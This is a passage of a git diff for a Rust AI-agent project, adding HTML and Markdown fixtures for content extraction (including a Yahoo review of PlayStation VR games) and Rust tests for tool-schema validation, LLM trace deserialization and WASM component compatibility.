We’re trying out some new shoes. And while they’re not self-lacing, and + smell a bit different, we feel lacing up a new pair of kicks can change + a lot.

+
+
+
+ +
+
+

+
+

+

Let’s talk. Let’s listen. +

+

We’re still in the early stages of what this project will look like, so if you want to help or have thoughts, let’s talk. +

+

pippin@pippinlee.com +

+

+
+

+

+
+

+

This isn’t supposed to be a + manifesto™© + we just think it’s pretty cool to share what we’ve learned so far, and hope you’ll do the same. We’re all in this together. +

+
+
+
+
+
+
+
+
+ + +
+
+
+
+ + + +
+
+
+
+
+
+
+
+
+
+
+
Written on + + by
Pippin Lee +
I don’t know much, so I better start here.
+
+
+
+ +
+
+
+
Thanks to Asad Chishti.
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ + + + + \ No newline at end of file diff --git a/tests/test-pages/yahoo/expected.md b/tests/test-pages/yahoo/expected.md new file mode 100644 index 00000000..7241f4fa --- /dev/null +++ b/tests/test-pages/yahoo/expected.md @@ -0,0 +1,46 @@ +Virtual reality has officially reached the consoles. And it’s pretty good! [Sony’s PlayStation VR](http://finance.yahoo.com/news/review-playstation-vr-is-comfortable-and-affordable-but-lacks-must-have-games-165053851.html) is extremely comfortable and reasonably priced, and while it’s lacking killer apps, it’s loaded with lots of interesting ones. + +But which ones should you buy? I’ve played just about every launch game, and while some are worth your time, others you might want to skip. To help you decide what’s what, I’ve put together this list of the eight PSVR games worth considering. + +### [“Rez Infinite” ($30)](https://www.playstation.com/en-us/games/rez-infinite-ps4/) + +Beloved cult hit “Rez” gets the VR treatment to help launch the PSVR, and the results are terrific. It includes a fully remastered take on the original “Rez” – you zoom through a Matrix-like computer system, shooting down enemies to the steady beat of thumping electronica – but the VR setting makes it incredibly immersive. It gets better the more you play it, too; unlock the amazing Area X mode and you’ll find yourself flying, shooting and bobbing your head to some of the trippiest visuals yet seen in VR. + +### [“Thumper” ($20)](https://www.playstation.com/en-us/games/thumper-ps4/) + +What would happen if Tron, the board game Simon, a Clown beetle, Cthulhu and a noise band met in VR? Chaos, for sure, and also “Thumper.” Called a “violent rhythm game” by its creators, “Thumper” is, well, a violent rhythm game that’s also a gorgeous, unsettling and totally captivating assault on the senses. With simple controls and a straightforward premise – click the X button and the analog stick in time with the music as you barrel down a neon highway — it’s one of the rare games that works equally well both in and out of VR. But since you have PSVR, play it there. It’s marvelous. + +### [“Until Dawn: Rush of Blood” ($20)](https://www.playstation.com/en-us/games/until-dawn-rush-of-blood-ps4/) + +Cheeky horror game “Until Dawn” was a breakout hit for the PS4 last year, channeling the classic “dumb teens in the woods” horror trope into an effective interactive drama. Well, forget all that if you fire up “Rush of Blood,” because this one sticks you front and center on a rollercoaster ride from Hell. Literally. You ride through a dimly-lit carnival of terror, dual-wielding pistols as you take down targets, hideous pig monsters and, naturally, maniac clowns. Be warned: If the bad guys don’t get you, the jump scares will. + +### [“Headmaster” ($20)](https://www.playstation.com/en-us/games/headmaster-ps4/) + +Soccer meets “Portal” in the weird (and weirdly fun) “Headmaster,” a game about heading soccer balls into nets, targets and a variety of other things while stuck in some diabolical training facility. While at first it seems a little basic, increasingly challenging shots and a consistently entertaining narrative keep it from running off the pitch. Funny, ridiculous and as easy as literally moving your head back and forth, it’s a pleasant PSVR surprise. + +### [“RIGS: Mechanized Combat League” ($50)](https://www.playstation.com/en-us/games/rigs-mechanized-combat-league-ps4/) + +Giant mechs + sports? That’s the gist of this robotic blast-a-thon, which pits two teams of three against one another in gorgeous, explosive and downright fun VR combat. At its best, “RIGS” marries the thrill of fast-paced competitive shooters with the insanity of piloting a giant mech in VR. It can, however, be one of the barfier PSVR games. So pack your Dramamine, you’re going to have to ease yourself into this one. + +### [“Batman Arkham VR” ($20)](https://www.playstation.com/en-us/games/batman-arkham-vr-ps4/) + +“I’m Batman,” you will say. And you’ll actually be right this time, because you are Batman in this detective yarn, and you know this because you actually grab the famous cowl and mask, stick it on your head, and stare into the mirrored reflection of Rocksteady Games’ impressive Dark Knight character model. It lacks the action of its fellow “Arkham” games and runs disappointingly short, but it’s a high-quality experience that really shows off how powerfully immersive VR can be. + +### [“Job Simulator” ($30)](https://www.playstation.com/en-us/games/job-simulator-the-2050-archives-ps4/) + +There are a number of good VR ports in the PSVR launch lineup, but the HTC Vive launch game “Job Simulator” might be the best. Your task? Lots of tasks, actually, from cooking food to fixing cars to working in an office, all for robots, because did I mention you were in the future? Infinitely charming and surprisingly challenging, it’s a great showpiece for VR. + +### [“Eve Valkyrie” ($60)](https://www.playstation.com/en-us/games/eve-valkyrie-ps4/) + +Already a hit on the Oculus Rift, this space dogfighting game was one of the first to really show off how VR can turn a traditional game experience into something special. It’s pricey and not quite as hi-res as the Rift version, but “Eve Valkyrie” does an admirable job filling the void left since “Battlestar Galactica” ended. Too bad there aren’t any Cylons in it (or are there?) + +***More games news:*** + +- [‘Skylanders Imaginators’ will let you create and 3D print your own action figures](https://www.yahoo.com/tech/skylanders-imaginators-will-let-you-create-and-3d-print-your-own-action-figure-143838550.html) +- [Review: High-flying ‘NBA 2K17’ has a career year](https://www.yahoo.com/tech/review-high-flying-nba-2k17-has-a-career-year-184135248.html) +- [Review: Race at your own speed in big, beautiful ‘Forza Horizon 3’](https://www.yahoo.com/tech/review-race-at-your-own-speed-in-big-beautiful-forza-horizon-3-195337170.html) +- [Sony’s PlayStation 4 Pro shows promise, potential and plenty of pretty lighting](https://www.yahoo.com/tech/sonys-playstation-4-pro-shows-promise-potential-161304037.html) +- [Review: ‘Madden NFL 17’ runs hard, plays it safe](https://www.yahoo.com/tech/review-madden-nfl-17-runs-000000394.html) + + +*Ben Silverman is on Twitter at*[*ben_silverman*](https://twitter.com/ben_silverman)*.* \ No newline at end of file diff --git a/tests/test-pages/yahoo/metadata.json b/tests/test-pages/yahoo/metadata.json new file mode 100644 index 00000000..9bb2e5b8 --- /dev/null +++ b/tests/test-pages/yahoo/metadata.json @@ -0,0 +1,19 @@ +{ + "check_expected": true, + "contains": [ + "Virtual reality has officially reached", + "RIGS", + "Dramamine", + "Rez Infinite", + "Thumper", + "Until Dawn", + "Headmaster", + "Batman Arkham VR", + "Job Simulator", + "Eve Valkyrie", + "Battlestar Galactica", + "Ben Silverman", + "eight PSVR games worth considering", + "More games news" + ] +} diff --git a/tests/test-pages/yahoo/source.html b/tests/test-pages/yahoo/source.html new file mode 100644 index 00000000..d3d0e3a9 --- /dev/null +++ b/tests/test-pages/yahoo/source.html @@ -0,0 +1,14670 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + These are the 8 coolest PlayStation VR games + + + + + + + + + + + + + + + + + + + + +
+
+
+
+
+
+
+
+
+
+
+ +
+
+
+
+
+
+ + +
+
+
+
+
+ +
+
+
+
+
+
+
+
+
+
+
+
+
+ +
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ +
+
+ +
+
+
+
+
+
+
+
+
+
+ +
+
+
+
+
+
+
+
+
+
+
+
+
+

These are the 8 coolest PlayStation VR games

+
+
+
+ +
+
+
+
+ +
+
+
Ben Silverman +
Games Editor
+
+
Yahoo Finance
+
+
+
+
+
+ +
+
+
+
+
+
+
+
+
+
+
+
+
+
+
The PlayStation VR
+
+
+
Sony’s PlayStation VR.
+
+
+
+

Virtual reality has officially reached the consoles. And it’s pretty good! Sony’s PlayStation VR is extremely comfortable and reasonably priced, and while it’s lacking killer apps, it’s loaded with lots of interesting ones.

+

But which ones should you buy? I’ve played just about every launch game, and while some are worth your time, others you might want to skip. To help you decide what’s what, I’ve put together this list of the eight PSVR games worth considering.

+

“Rez Infinite” ($30)

+
+

Beloved cult hit “Rez” gets the VR treatment to help launch the PSVR, and the results are terrific. It includes a fully remastered take on the original “Rez” – you zoom through a Matrix-like computer system, shooting down enemies to the steady beat of thumping electronica – but the VR setting makes it incredibly immersive. It gets better the more you play it, too; unlock the amazing Area X mode and you’ll find yourself flying, shooting and bobbing your head to some of the trippiest visuals yet seen in VR.

+

“Thumper” ($20)

+
+

What would happen if Tron, the board game Simon, a Clown beetle, Cthulhu and a noise band met in VR? Chaos, for sure, and also “Thumper.” Called a “violent rhythm game” by its creators, “Thumper” is, well, a violent rhythm game that’s also a gorgeous, unsettling and totally captivating assault on the senses. With simple controls and a straightforward premise – click the X button and the analog stick in time with the music as you barrel down a neon highway — it’s one of the rare games that works equally well both in and out of VR. But since you have PSVR, play it there. It’s marvelous.

+

“Until Dawn: Rush of Blood” ($20)

+
+

Cheeky horror game “Until Dawn” was a breakout hit for the PS4 last year, channeling the classic “dumb teens in the woods” horror trope into an effective interactive drama. Well, forget all that if you fire up “Rush of Blood,” because this one sticks you front and center on a rollercoaster ride from Hell. Literally. You ride through a dimly-lit carnival of terror, dual-wielding pistols as you take down targets, hideous pig monsters and, naturally, maniac clowns. Be warned: If the bad guys don’t get you, the jump scares will.

+

“Headmaster” ($20)

+
+

Soccer meets “Portal” in the weird (and weirdly fun) “Headmaster,” a game about heading soccer balls into nets, targets and a variety of other things while stuck in some diabolical training facility. While at first it seems a little basic, increasingly challenging shots and a consistently entertaining narrative keep it from running off the pitch. Funny, ridiculous and as easy as literally moving your head back and forth, it’s a pleasant PSVR surprise.

+

“RIGS: Mechanized Combat League” ($50)

+
+

Giant mechs + sports? That’s the gist of this robotic blast-a-thon, which pits two teams of three against one another in gorgeous, explosive and downright fun VR combat. At its best, “RIGS” marries the thrill of fast-paced competitive shooters with the insanity of piloting a giant mech in VR. It can, however, be one of the barfier PSVR games. So pack your Dramamine, you’re going to have to ease yourself into this one.

+

“Batman Arkham VR” ($20)

+
+

“I’m Batman,” you will say. And you’ll actually be right this time, because you are Batman in this detective yarn, and you know this because you actually grab the famous cowl and mask, stick it on your head, and stare into the mirrored reflection of Rocksteady Games’ impressive Dark Knight character model. It lacks the action of its fellow “Arkham” games and runs disappointingly short, but it’s a high-quality experience that really shows off how powerfully immersive VR can be.

+

“Job Simulator” ($30)

+
+

There are a number of good VR ports in the PSVR launch lineup, but the HTC Vive launch game “Job Simulator” might be the best. Your task? Lots of tasks, actually, from cooking food to fixing cars to working in an office, all for robots, because did I mention you were in the future? Infinitely charming and surprisingly challenging, it’s a great showpiece for VR.

+

“Eve Valkyrie” ($60)

+
+

Already a hit on the Oculus Rift, this space dogfighting game was one of the first to really show off how VR can turn a traditional game experience into something special. It’s pricey and not quite as hi-res as the Rift version, but “Eve Valkyrie” does an admirable job filling the void left since “Battlestar Galactica” ended. Too bad there aren’t any Cylons in it (or are there?)

+

More games news:

+ +

Ben Silverman is on Twitter at + ben_silverman.

+
+
+
+
+
+
+ +
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ +
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ +
+
+
+
+
+
+
+
+
+
+
+ +
+
+ +
+
+
+
+
+
+
+
+
+
+ +
+
+ +
+ + + + + + +
+ + + + + + + \ No newline at end of file diff --git a/tests/tool_schema_validation.rs b/tests/tool_schema_validation.rs new file mode 100644 index 00000000..07218bb8 --- /dev/null +++ b/tests/tool_schema_validation.rs @@ -0,0 +1,166 @@ +//! Validates that all built-in tool schemas conform to OpenAI strict-mode rules. +//! +//! This catches the class of bugs where `required` keys aren't in `properties`, +//! properties are missing `type` (intentional freeform is allowed), or nested +//! objects/arrays are malformed. +//! +//! See: (QA plan, item 1.1) + +use ironclaw::tools::validate_tool_schema; +use ironclaw::tools::{Tool, ToolRegistry}; + +/// Validate schemas of all tools registered via `register_builtin_tools()` and +/// `register_dev_tools()` (echo, time, json, http, shell, file tools). +/// +/// These tools can be constructed without external dependencies (no DB, no +/// workspace, no extension manager). Tools requiring dependencies (memory, job, +/// skill, extension, routine) are validated individually below where test +/// construction helpers exist. +#[tokio::test] +async fn all_core_builtin_tool_schemas_are_valid() { + let registry = ToolRegistry::new(); + registry.register_builtin_tools(); + registry.register_dev_tools(); + + let tools = registry.all().await; + assert!( + !tools.is_empty(), + "registry should have tools after registration" + ); + + let mut all_errors = Vec::new(); + for tool in &tools { + let schema = tool.parameters_schema(); + let errors = validate_tool_schema(&schema, tool.name()); + if !errors.is_empty() { + all_errors.push(format!( + "Tool '{}' has schema errors:\n {}", + tool.name(), + errors.join("\n ") + )); + } + } + + assert!( + all_errors.is_empty(), + "Tool schema validation failures:\n{}", + all_errors.join("\n\n") + ); +} + +/// Verify the exact set of tools registered by the core registration methods. +/// This guards against a new tool being added without schema validation coverage. +#[tokio::test] +async fn core_registration_covers_expected_tools() { + let registry = ToolRegistry::new(); + registry.register_builtin_tools(); + registry.register_dev_tools(); + + let mut names = registry.list().await; + names.sort(); + + let expected = &[ + "apply_patch", + "echo", + "http", + "json", + "list_dir", + "read_file", + "shell", + "time", + "write_file", + ]; + + assert_eq!( + names, expected, + "Core tool set changed. Update this test and ensure new tools have valid schemas." + ); +} + +/// Validate individual tool schemas that are known to use non-trivial patterns. +/// These are regression tests for specific bugs. +#[test] +fn json_tool_freeform_data_field_is_valid() { + // Regression: json tool's "data" field intentionally has no "type" for + // OpenAI compatibility (union types with arrays require "items"). + let tool = ironclaw::tools::builtin::JsonTool; + let schema = tool.parameters_schema(); + let errors = validate_tool_schema(&schema, "json"); + assert!(errors.is_empty(), "json tool schema errors: {errors:?}"); + + // Verify the freeform pattern is still in place + let data = schema + .get("properties") + .and_then(|p| p.get("data")) + .expect("json tool should have 'data' property"); + assert!( + data.get("type").is_none(), + "json.data should be freeform (no type) for OpenAI compatibility" + ); +} + +#[test] +fn http_tool_headers_array_is_valid() { + // Regression: http tool's "headers" is an array of {name, value} objects. + let tool = ironclaw::tools::builtin::HttpTool::new(); + let schema = tool.parameters_schema(); + let errors = validate_tool_schema(&schema, "http"); + assert!(errors.is_empty(), "http tool schema errors: {errors:?}"); + + // Verify array structure + let headers = schema + .get("properties") + .and_then(|p| p.get("headers")) + .expect("http tool should have 'headers' property"); + assert_eq!( + headers.get("type").and_then(|t| t.as_str()), + Some("array"), + "headers should be an array" + ); + assert!( + headers.get("items").is_some(), + "headers array should have items defined" + ); +} + +#[test] +fn time_tool_schema_is_valid() { + let tool = ironclaw::tools::builtin::TimeTool; + let schema = tool.parameters_schema(); + let errors = validate_tool_schema(&schema, "time"); + assert!(errors.is_empty(), "time tool schema errors: {errors:?}"); +} + +#[test] +fn shell_tool_schema_is_valid() { + let tool = ironclaw::tools::builtin::ShellTool::new(); + let schema = tool.parameters_schema(); + let errors = validate_tool_schema(&schema, "shell"); + assert!(errors.is_empty(), "shell tool schema errors: {errors:?}"); +} + +/// Validates that all core tools work correctly under a multi-threaded tokio runtime. +/// This catches sync-async boundary bugs like tokio::sync::RwLock::blocking_read() +/// panicking when called from within a multi-threaded runtime context. +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +async fn all_core_tools_work_in_multi_thread_runtime() { + let registry = ToolRegistry::new(); + registry.register_builtin_tools(); + registry.register_dev_tools(); + + let tools = registry.all().await; + assert!( + !tools.is_empty(), + "registry should have tools after registration" + ); + + for tool in &tools { + // These sync trait methods must not panic in multi-thread runtime + let _ = tool.name(); + let _ = tool.description(); + let _ = tool.parameters_schema(); + let _ = tool.requires_approval(&serde_json::json!({})); + let _ = tool.requires_sanitization(); + let _ = tool.domain(); + } +} diff --git a/tests/trace_format.rs b/tests/trace_format.rs new file mode 100644 index 00000000..bffd732a --- /dev/null +++ b/tests/trace_format.rs @@ -0,0 +1,195 @@ +//! Trace format / infrastructure tests. +//! +//! These tests verify JSON deserialization and backward compatibility of the +//! trace format. They do NOT require a rig, database, or the `libsql` feature. + +mod support; + +mod trace_format_tests { + use crate::support::trace_llm::{LlmTrace, TraceExpects}; + + /// A trace with only user_input steps and no playable steps deserializes. + #[test] + fn all_user_input_steps() { + let json = r#"{ + "model_name": "recorded-all-user-input", + "memory_snapshot": [], + "steps": [ + { "response": { "type": "user_input", "content": "hello" } }, + { "response": { "type": "user_input", "content": "world" } } + ] + }"#; + let trace: LlmTrace = serde_json::from_str(json).unwrap(); + assert_eq!(trace.steps.len(), 2); + assert_eq!(trace.playable_steps().len(), 0); + } + + /// Backward compatibility: a trace without the new fields loads correctly. + #[test] + fn backward_compat_no_memory_snapshot() { + let json = r#"{ + "model_name": "old-format", + "steps": [ + { + "response": { + "type": "text", + "content": "hello", + "input_tokens": 10, + "output_tokens": 5 + } + } + ] + }"#; + let trace: LlmTrace = serde_json::from_str(json).unwrap(); + assert!(trace.memory_snapshot.is_empty()); + assert!(trace.http_exchanges.is_empty()); + assert!(trace.expects.is_empty()); + assert_eq!(trace.playable_steps().len(), 1); + } + + /// Expects round-trips through JSON serialization. + #[test] + fn expects_deserialization() { + let json = r#"{ + "model_name": "expects-test", + "expects": { + "response_contains": ["hello", "world"], + "tools_used": ["echo"], + "all_tools_succeeded": true, + "min_responses": 1, + "tool_results_contain": { "echo": "greeting" } + }, + "steps": [ + { + "response": { + "type": "text", + "content": "hello world", + "input_tokens": 10, + "output_tokens": 5 + } + } + ] + }"#; + let trace: LlmTrace = serde_json::from_str(json).unwrap(); + assert!(!trace.expects.is_empty()); + assert_eq!(trace.expects.response_contains, vec!["hello", "world"]); + assert_eq!(trace.expects.tools_used, vec!["echo"]); + assert_eq!(trace.expects.all_tools_succeeded, Some(true)); + assert_eq!(trace.expects.min_responses, Some(1)); + assert_eq!( + trace + .expects + .tool_results_contain + .get("echo") + .map(|s| s.as_str()), + Some("greeting") + ); + + // Round-trip: serialize back and deserialize again. + let serialized = serde_json::to_string(&trace).unwrap(); + let trace2: LlmTrace = serde_json::from_str(&serialized).unwrap(); + assert_eq!( + trace2.expects.response_contains, + trace.expects.response_contains + ); + assert_eq!(trace2.expects.tools_used, trace.expects.tools_used); + } + + /// A trace without `expects` loads with empty defaults. + #[test] + fn expects_default_empty() { + let json = r#"{ + "model_name": "no-expects", + "steps": [ + { + "response": { + "type": "text", + "content": "hi", + "input_tokens": 1, + "output_tokens": 1 + } + } + ] + }"#; + let trace: LlmTrace = serde_json::from_str(json).unwrap(); + assert!(trace.expects.is_empty()); + } + + /// Per-turn expects deserializes correctly. + #[test] + fn per_turn_expects() { + let json = r#"{ + "model_name": "turn-expects", + "turns": [ + { + "user_input": "hello", + "expects": { + "response_contains": ["greeting"], + "tools_not_used": ["shell"] + }, + "steps": [ + { + "response": { + "type": "text", + "content": "greeting back", + "input_tokens": 1, + "output_tokens": 1 + } + } + ] + } + ] + }"#; + let trace: LlmTrace = serde_json::from_str(json).unwrap(); + assert_eq!(trace.turns.len(), 1); + assert!(!trace.turns[0].expects.is_empty()); + assert_eq!(trace.turns[0].expects.response_contains, vec!["greeting"]); + assert_eq!(trace.turns[0].expects.tools_not_used, vec!["shell"]); + } + + /// TraceExpects::is_empty() returns true for default. + #[test] + fn trace_expects_is_empty() { + let e = TraceExpects::default(); + assert!(e.is_empty()); + } + + /// Flat steps with UserInput markers are split into multiple turns. + #[test] + fn recorded_multi_turn_splits_at_user_input() { + let json = r#"{ + "model_name": "test", + "steps": [ + { "response": { "type": "user_input", "content": "hello" } }, + { "response": { "type": "text", "content": "hi", "input_tokens": 10, "output_tokens": 5 } }, + { "response": { "type": "user_input", "content": "bye" } }, + { "response": { "type": "text", "content": "goodbye", "input_tokens": 20, "output_tokens": 5 } } + ] + }"#; + let trace: LlmTrace = serde_json::from_str(json).unwrap(); + assert_eq!(trace.turns.len(), 2); + assert_eq!(trace.turns[0].user_input, "hello"); + assert_eq!(trace.turns[0].steps.len(), 1); + assert_eq!(trace.turns[1].user_input, "bye"); + assert_eq!(trace.turns[1].steps.len(), 1); + } + + /// Steps before the first UserInput get placeholder input. + #[test] + fn steps_before_first_user_input_get_placeholder() { + let json = r#"{ + "model_name": "test", + "steps": [ + { "response": { "type": "text", "content": "preamble", "input_tokens": 5, "output_tokens": 3 } }, + { "response": { "type": "user_input", "content": "hello" } }, + { "response": { "type": "text", "content": "hi", "input_tokens": 10, "output_tokens": 5 } } + ] + }"#; + let trace: LlmTrace = serde_json::from_str(json).unwrap(); + assert_eq!(trace.turns.len(), 2); + assert_eq!(trace.turns[0].user_input, "(test input)"); + assert_eq!(trace.turns[0].steps.len(), 1); + assert_eq!(trace.turns[1].user_input, "hello"); + assert_eq!(trace.turns[1].steps.len(), 1); + } +} diff --git a/tests/trace_llm_tests.rs b/tests/trace_llm_tests.rs new file mode 100644 index 00000000..8e691aca --- /dev/null +++ b/tests/trace_llm_tests.rs @@ -0,0 +1,2 @@ +mod support; +// Tests are defined inside support/trace_llm.rs diff --git a/tests/wasm_channel_integration.rs b/tests/wasm_channel_integration.rs index 5d1fdf58..b5d1785b 100644 --- a/tests/wasm_channel_integration.rs +++ b/tests/wasm_channel_integration.rs @@ -45,6 +45,7 @@ fn create_test_channel( capabilities, "{}".to_string(), Arc::new(PairingStore::new()), + None, ) } diff --git a/tests/wit_compat.rs b/tests/wit_compat.rs new file mode 100644 index 00000000..4dcacf4e --- /dev/null +++ b/tests/wit_compat.rs @@ -0,0 +1,547 @@ +//! WIT compatibility tests for WASM tools and channels. +//! +//! These tests verify that pre-built WASM components can be compiled and +//! instantiated against the current host linker. If the WIT interface +//! changes, these tests catch any breakage in existing tools/channels. +//! +//! Prerequisites: build WASM extensions first with: +//! ./scripts/build-wasm-extensions.sh +//! +//! The tests are skipped (not failed) when no WASM artifacts are found, +//! so `cargo test` still passes without building extensions first. +//! CI runs the build script before these tests. + +use std::path::{Path, PathBuf}; + +use wasmtime_wasi::{ResourceTable, WasiCtx, WasiCtxBuilder, WasiView}; + +/// Minimal store data that satisfies WasiView for component instantiation. +struct TestStoreData { + wasi: WasiCtx, + table: ResourceTable, +} + +impl TestStoreData { + fn new() -> Self { + Self { + wasi: WasiCtxBuilder::new().build(), + table: ResourceTable::new(), + } + } +} + +impl WasiView for TestStoreData { + fn ctx(&mut self) -> &mut WasiCtx { + &mut self.wasi + } + + fn table(&mut self) -> &mut ResourceTable { + &mut self.table + } +} + +/// Extension kind from the registry manifest. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +enum ExtensionKind { + Tool, + Channel, +} + +/// A discovered WASM extension from the registry. +struct DiscoveredExtension { + name: String, + source_dir: PathBuf, + crate_name: String, + kind: ExtensionKind, +} + +/// Search paths for WASM artifacts produced by cargo-component. +fn find_wasm_artifact(source_dir: &Path, crate_name: &str) -> Option { + let artifact_name = crate_name.replace('-', "_"); + + // Crate-local target dir (CI, default cargo) + for target_triple in &["wasm32-wasip2", "wasm32-wasip1", "wasm32-wasi"] { + let candidate = source_dir + .join("target") + .join(target_triple) + .join("release") + .join(format!("{artifact_name}.wasm")); + if candidate.exists() { + return Some(candidate); + } + } + + // Shared target dir (CARGO_TARGET_DIR env) + if let Ok(shared) = std::env::var("CARGO_TARGET_DIR") { + for target_triple in &["wasm32-wasip2", "wasm32-wasip1", "wasm32-wasi"] { + let candidate = Path::new(&shared) + .join(target_triple) + .join("release") + .join(format!("{artifact_name}.wasm")); + if candidate.exists() { + return Some(candidate); + } + } + } + + // Common shared target location (~/.cargo/shared-target) + if let Some(home) = dirs::home_dir() { + let shared = home.join(".cargo/shared-target"); + if shared.exists() { + for target_triple in &["wasm32-wasip2", "wasm32-wasip1", "wasm32-wasi"] { + let candidate = shared + .join(target_triple) + .join("release") + .join(format!("{artifact_name}.wasm")); + if candidate.exists() { + return Some(candidate); + } + } + } + } + + None +} + +/// Parse registry manifests to discover all WASM extensions. +fn discover_extensions() -> Vec { + let repo_root = PathBuf::from(env!("CARGO_MANIFEST_DIR")); + let mut extensions = Vec::new(); + + for dir in &["registry/tools", "registry/channels"] { + let registry_dir = repo_root.join(dir); + if !registry_dir.exists() { + continue; + } + + for entry in std::fs::read_dir(®istry_dir).expect("failed to read registry dir") { + let entry = entry.expect("failed to read directory entry"); + let path = entry.path(); + if path.extension().and_then(|e| e.to_str()) != Some("json") { + continue; + } + + let content = std::fs::read_to_string(&path).expect("failed to read manifest"); + let manifest: serde_json::Value = + serde_json::from_str(&content).expect("failed to parse manifest"); + + let name = manifest["name"].as_str().unwrap_or("unknown").to_string(); + let kind = match manifest["kind"].as_str() { + Some("tool") => ExtensionKind::Tool, + Some("channel") => ExtensionKind::Channel, + _ => continue, + }; + let source_dir = manifest["source"]["dir"] + .as_str() + .map(|d| repo_root.join(d)); + let crate_name = manifest["source"]["crate_name"] + .as_str() + .map(|s| s.to_string()); + + if let (Some(source_dir), Some(crate_name)) = (source_dir, crate_name) + && source_dir.exists() + { + extensions.push(DiscoveredExtension { + name, + source_dir, + crate_name, + kind, + }); + } + } + } + + extensions +} + +fn compile_component( + engine: &wasmtime::Engine, + wasm_bytes: &[u8], +) -> Result { + wasmtime::component::Component::new(engine, wasm_bytes) + .map_err(|e| format!("compilation failed: {e}")) +} + +/// Stub host functions shared between tool and channel interfaces: +/// log, now-millis, workspace-read, http-request, secret-exists. +fn stub_shared_host_functions( + host: &mut wasmtime::component::LinkerInstance<'_, TestStoreData>, +) -> Result<(), String> { + host.func_new("log", |_ctx, _args, _results| Ok(())) + .map_err(|e| format!("stub 'log': {e}"))?; + + host.func_new("now-millis", |_ctx, _args, results| { + results[0] = wasmtime::component::Val::U64(0); + Ok(()) + }) + .map_err(|e| format!("stub 'now-millis': {e}"))?; + + host.func_new("workspace-read", |_ctx, _args, results| { + results[0] = wasmtime::component::Val::Option(None); + Ok(()) + }) + .map_err(|e| format!("stub 'workspace-read': {e}"))?; + + host.func_new("http-request", |_ctx, _args, results| { + results[0] = wasmtime::component::Val::Result(Err(Some(Box::new( + wasmtime::component::Val::String("stub".into()), + )))); + Ok(()) + }) + .map_err(|e| format!("stub 'http-request': {e}"))?; + + host.func_new("secret-exists", |_ctx, _args, results| { + results[0] = wasmtime::component::Val::Bool(false); + Ok(()) + }) + .map_err(|e| format!("stub 'secret-exists': {e}"))?; + + Ok(()) +} + +/// Instantiate a tool component (world: sandboxed-tool, imports: near:agent/host). +fn instantiate_tool_component( + engine: &wasmtime::Engine, + component: &wasmtime::component::Component, +) -> Result<(), String> { + use wasmtime::Store; + use wasmtime::component::Linker; + + let mut linker: Linker = Linker::new(engine); + + wasmtime_wasi::add_to_linker_sync(&mut linker) + .map_err(|e| format!("WASI linker failed: {e}"))?; + + // If the WIT added/removed/renamed a function, stub registration + // or instantiation will fail. + // Register stubs for both versioned (0.3.0+) and unversioned (pre-0.3.0) interface + // paths so that both old and new WASM artifacts can instantiate. + for interface in &["near:agent/host", "near:agent/host@0.3.0"] { + let mut root = linker.root(); + if let Ok(mut host) = root.instance(interface) { + stub_shared_host_functions(&mut host)?; + + host.func_new("tool-invoke", |_ctx, _args, results| { + results[0] = wasmtime::component::Val::Result(Err(Some(Box::new( + wasmtime::component::Val::String("stub".into()), + )))); + Ok(()) + }) + .map_err(|e| format!("stub 'tool-invoke': {e}"))?; + } + } + + let mut store = Store::new(engine, TestStoreData::new()); + linker + .instantiate(&mut store, component) + .map_err(|e| format!("instantiation failed: {e}"))?; + + Ok(()) +} + +/// Instantiate a channel component (world: sandboxed-channel, imports: near:agent/channel-host). +fn instantiate_channel_component( + engine: &wasmtime::Engine, + component: &wasmtime::component::Component, +) -> Result<(), String> { + use wasmtime::Store; + use wasmtime::component::Linker; + + let mut linker: Linker = Linker::new(engine); + + wasmtime_wasi::add_to_linker_sync(&mut linker) + .map_err(|e| format!("WASI linker failed: {e}"))?; + + // Register stubs for both versioned (0.3.0+) and unversioned (pre-0.3.0) interface + // paths so that both old and new WASM artifacts can instantiate. + // Register stubs under both versioned and unversioned interface paths. + // This helper avoids repeating the stub registration code. + fn stub_channel_host( + host: &mut wasmtime::component::LinkerInstance<'_, TestStoreData>, + ) -> Result<(), String> { + stub_shared_host_functions(host)?; + + host.func_new("store-attachment-data", |_ctx, _args, results| { + results[0] = wasmtime::component::Val::Result(Ok(None)); + Ok(()) + }) + .map_err(|e| format!("stub 'store-attachment-data': {e}"))?; + + host.func_new("emit-message", |_ctx, _args, _results| Ok(())) + .map_err(|e| format!("stub 'emit-message': {e}"))?; + + host.func_new("workspace-write", |_ctx, _args, results| { + results[0] = wasmtime::component::Val::Result(Ok(None)); + Ok(()) + }) + .map_err(|e| format!("stub 'workspace-write': {e}"))?; + + host.func_new("pairing-upsert-request", |_ctx, _args, results| { + results[0] = wasmtime::component::Val::Result(Err(Some(Box::new( + wasmtime::component::Val::String("stub".into()), + )))); + Ok(()) + }) + .map_err(|e| format!("stub 'pairing-upsert-request': {e}"))?; + + host.func_new("pairing-is-allowed", |_ctx, _args, results| { + results[0] = wasmtime::component::Val::Result(Err(Some(Box::new( + wasmtime::component::Val::String("stub".into()), + )))); + Ok(()) + }) + .map_err(|e| format!("stub 'pairing-is-allowed': {e}"))?; + + host.func_new("pairing-read-allow-from", |_ctx, _args, results| { + results[0] = wasmtime::component::Val::Result(Err(Some(Box::new( + wasmtime::component::Val::String("stub".into()), + )))); + Ok(()) + }) + .map_err(|e| format!("stub 'pairing-read-allow-from': {e}"))?; + + Ok(()) + } + + { + let mut root = linker.root(); + let mut host = root + .instance("near:agent/channel-host") + .map_err(|e| format!("failed to create unversioned channel-host: {e}"))?; + stub_channel_host(&mut host)?; + } + { + let mut root = linker.root(); + let mut host = root + .instance("near:agent/channel-host@0.3.0") + .map_err(|e| format!("failed to create versioned channel-host@0.3.0: {e}"))?; + stub_channel_host(&mut host)?; + } + + let mut store = Store::new(engine, TestStoreData::new()); + linker + .instantiate(&mut store, component) + .map_err(|e| format!("instantiation failed: {e}"))?; + + 